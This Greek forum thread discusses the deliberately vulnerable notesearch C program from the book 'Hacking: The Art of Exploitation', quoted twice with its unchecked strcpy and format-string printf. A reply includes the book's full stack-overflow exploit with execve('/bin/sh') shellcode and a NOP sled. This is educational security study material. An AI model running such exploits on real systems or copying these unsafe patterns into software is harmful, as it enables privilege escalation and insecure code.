Συντονιστής: konnn



stamatiou έγραψε:stamatiou έγραψε:Off topic:
Αυτό το καιρό διαβάζω ένα βιβλίο, το "Hacking - The art of exploitation". Πολύ ωραίο και εξηγεί κάμποσα πράγματα τα οποία δεν πολύ είχα για C (μιλάμε για περίπου 100 σελίδες προγραμματισμό σε C!). Κάπου έχει και ένα απλό πρόγραμμα σημειώσεων το οποίο δουλεύει με user id έτσι ώστε κάθε χρήστης να έχει τα δικά του. Αλλά δεν καταλαβαίνω τον αλγόριθμο που ψάχνει να βρει το επόμενο note του user. Επίσης αυτό που κάνει ουσιαστικά είναι να φτιάχνει ένα αρχείο ξεχωριστά για κάθε user;
- Κώδικας: Επιλογή όλων
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include "hacking.h"
#define FILENAME "/var/notes"
int print_notes(int, int, char *); // note printing function
int find_user_note(int, int); // seek in file for a note for user
int search_note(char *, char *); // search for keyword function
void fatal(char *); // fatal error handler
int main(int argc, char *argv[]) {
int userid, printing=1, fd; // file descriptor
char searchstring[100];
if(argc > 1) // If there is an arg
strcpy(searchstring, argv[1]); // that is the search string
else // otherwise
searchstring[0] = 0; // search string is empty
userid = getuid();
fd = open(FILENAME, O_RDONLY); // open the file for read-only access
if(fd == -1)
fatal("in main() while opening file for reading");
while(printing)
printing = print_notes(fd, userid, searchstring);
printf("-------[ end of note data ]-------\n");
close(fd);
}
// A function to print the notes for a given uid that match
// an optional search string
// returns 0 at end of file, 1 if there are still more notes
int print_notes(int fd, int uid, char *searchstring) {
int note_length;
char byte=0, note_buffer[100];
note_length = find_user_note(fd, uid);
if(note_length == -1) // if end of file reached
return 0; // return 0
read(fd, note_buffer, note_length); // read note data
note_buffer[note_length] = 0; // terminate the string
if(search_note(note_buffer, searchstring)) // if searchstring found
printf(note_buffer); // print the note
return 1;
}
// A function to find the next note for a given userID
// returns -1 if the end of the file is reached
// otherwise it returns the length of the found note
int find_user_note(int fd, int user_uid) {
int note_uid=-1;
unsigned char byte;
int length;
while(note_uid != user_uid) { // loop until a note for user_uid is found
if(read(fd, ¬e_uid, 4) != 4) // read the uid data
return -1; // if 4 bytes aren't read, return end of file code
if(read(fd, &byte, 1) != 1) // read the newline separator
return -1;
byte = length = 0;
while(byte != '\n') { // figure out how many bytes to the end of line
if(read(fd, &byte, 1) != 1) // read a single byte
return -1; // if byte isn't read, return end of file code
length++;
}
}
lseek(fd, length * -1, SEEK_CUR); // rewind file reading by length bytes
printf("[DEBUG] found a %d byte note for user id %d\n", length, note_uid);
return length;
}
// A function to search a note for a given keyword
// returns 1 if a match is found, 0 if there is no match
int search_note(char *note, char *keyword) {
int i, keyword_length, match=0;
keyword_length = strlen(keyword);
if(keyword_length == 0) // if there is no search string
return 1; // always "match"
for(i=0; i < strlen(note); i++) { // iterate over bytes in note
if(note[i] == keyword[match]) // if byte matches keyword
match++; // get ready to check the next byte
else { // otherwise
if(note[i] == keyword[0]) // if that byte matches first keyword byte
match = 1; // start the match count at 1
else
match = 0; // otherwise it is zero
}
if(match == keyword_length) // if there is a full match
return 1; // return matched
}
return 0; // return not matched
}
Τι έγινε βρε παιδιά; Γιατί τόση σιωπή;

Star_Light έγραψε:δικο σου ειναι αυτο το σαιτ migf1?
έγραψε:
Και εγω πήζω με την πτυχιακή εδω και 1 μήνα αλλα τα καλα νεα ειναι
οτι το πολυ σε 1 μήνα θα έχω ξεμπερδεψει εχω βρει και ενα φοβερο λογισμικο ανοικτου κωδικα απο εδω απο την κοινοτητα
που αντικαθιστα το MATLAB => http://www.octave.org για να υλοποιήσω τους μαθηματικους αλγοριθμους που χρειάζεται για το τελευταιο part της πτυχιακής μου.


Star_Light έγραψε:stamatiou έγραψε:stamatiou έγραψε:Off topic:
Αυτό το καιρό διαβάζω ένα βιβλίο, το "Hacking - The art of exploitation". Πολύ ωραίο και εξηγεί κάμποσα πράγματα τα οποία δεν πολύ είχα για C (μιλάμε για περίπου 100 σελίδες προγραμματισμό σε C!). Κάπου έχει και ένα απλό πρόγραμμα σημειώσεων το οποίο δουλεύει με user id έτσι ώστε κάθε χρήστης να έχει τα δικά του. Αλλά δεν καταλαβαίνω τον αλγόριθμο που ψάχνει να βρει το επόμενο note του user. Επίσης αυτό που κάνει ουσιαστικά είναι να φτιάχνει ένα αρχείο ξεχωριστά για κάθε user;
- Κώδικας: Επιλογή όλων
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include "hacking.h"
#define FILENAME "/var/notes"
int print_notes(int, int, char *); // note printing function
int find_user_note(int, int); // seek in file for a note for user
int search_note(char *, char *); // search for keyword function
void fatal(char *); // fatal error handler
int main(int argc, char *argv[]) {
int userid, printing=1, fd; // file descriptor
char searchstring[100];
if(argc > 1) // If there is an arg
strcpy(searchstring, argv[1]); // that is the search string
else // otherwise
searchstring[0] = 0; // search string is empty
userid = getuid();
fd = open(FILENAME, O_RDONLY); // open the file for read-only access
if(fd == -1)
fatal("in main() while opening file for reading");
while(printing)
printing = print_notes(fd, userid, searchstring);
printf("-------[ end of note data ]-------\n");
close(fd);
}
// A function to print the notes for a given uid that match
// an optional search string
// returns 0 at end of file, 1 if there are still more notes
int print_notes(int fd, int uid, char *searchstring) {
int note_length;
char byte=0, note_buffer[100];
note_length = find_user_note(fd, uid);
if(note_length == -1) // if end of file reached
return 0; // return 0
read(fd, note_buffer, note_length); // read note data
note_buffer[note_length] = 0; // terminate the string
if(search_note(note_buffer, searchstring)) // if searchstring found
printf(note_buffer); // print the note
return 1;
}
// A function to find the next note for a given userID
// returns -1 if the end of the file is reached
// otherwise it returns the length of the found note
int find_user_note(int fd, int user_uid) {
int note_uid=-1;
unsigned char byte;
int length;
while(note_uid != user_uid) { // loop until a note for user_uid is found
if(read(fd, ¬e_uid, 4) != 4) // read the uid data
return -1; // if 4 bytes aren't read, return end of file code
if(read(fd, &byte, 1) != 1) // read the newline separator
return -1;
byte = length = 0;
while(byte != '\n') { // figure out how many bytes to the end of line
if(read(fd, &byte, 1) != 1) // read a single byte
return -1; // if byte isn't read, return end of file code
length++;
}
}
lseek(fd, length * -1, SEEK_CUR); // rewind file reading by length bytes
printf("[DEBUG] found a %d byte note for user id %d\n", length, note_uid);
return length;
}
// A function to search a note for a given keyword
// returns 1 if a match is found, 0 if there is no match
int search_note(char *note, char *keyword) {
int i, keyword_length, match=0;
keyword_length = strlen(keyword);
if(keyword_length == 0) // if there is no search string
return 1; // always "match"
for(i=0; i < strlen(note); i++) { // iterate over bytes in note
if(note[i] == keyword[match]) // if byte matches keyword
match++; // get ready to check the next byte
else { // otherwise
if(note[i] == keyword[0]) // if that byte matches first keyword byte
match = 1; // start the match count at 1
else
match = 0; // otherwise it is zero
}
if(match == keyword_length) // if there is a full match
return 1; // return matched
}
return 0; // return not matched
}
Τι έγινε βρε παιδιά; Γιατί τόση σιωπή;
Το fd καταρχήν που παίρνει σαν ορισμα μεσα η if στην συνθηκη ελεγχου τι ειναι ξέρεις?
Τα αρχεία έχουν απο πίσω ολοκληρη θεωρία εισαι σιγουρος πως την έχεις διαβάσει καλα?
Το να μην καταλαβαινεις κατι ειναι ισοδυναμο με το να εχεις κενα σε αυτο το κατι που πας να διαβασεις
επειδη σου λειπει κατι αλλο που ειναι βάση αυτου που θες να καταλαβεις αλλα δεν μπορεις.
Η γνωση ειναι απειρη και δεν μπορεις να τα μαθεις ποτε ολα. Εκεινο που μαθαινεις κατα την γνωμη μου ειναι
πως να διαβαζεις.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // zero out the new memory
strcpy(command, "./notesearch \'"); // start command buffer
buffer = command + strlen(command); // set buffer at the end
if(argc > 1) // set offset
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset; // set return address
for(i=0; i < 160; i+=4) // fill buffer with return address
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // run exploit
free(command);
}


Star_Light έγραψε:ΩΡΑΙΟ Σαιτ!!!! Καλη φαση.... κοιτα εγω σε εχω προλαβει προ πολλου
επειδη ολα αυτα που ειχες γραψει εδω τα εχω φυλαξει αλλα στον υπολογιστη μου
αλλα σε τετραδια![]()
.
...

stamatiou έγραψε:Off topic:
Αυτό το καιρό διαβάζω ένα βιβλίο, το "Hacking - The art of exploitation". Πολύ ωραίο και εξηγεί κάμποσα πράγματα τα οποία δεν πολύ είχα για C (μιλάμε για περίπου 100 σελίδες προγραμματισμό σε C!). Κάπου έχει και ένα απλό πρόγραμμα σημειώσεων το οποίο δουλεύει με user id έτσι ώστε κάθε χρήστης να έχει τα δικά του. Αλλά δεν καταλαβαίνω τον αλγόριθμο που ψάχνει να βρει το επόμενο note του user. Επίσης αυτό που κάνει ουσιαστικά είναι να φτιάχνει ένα αρχείο ξεχωριστά για κάθε user;
Spoiler: show
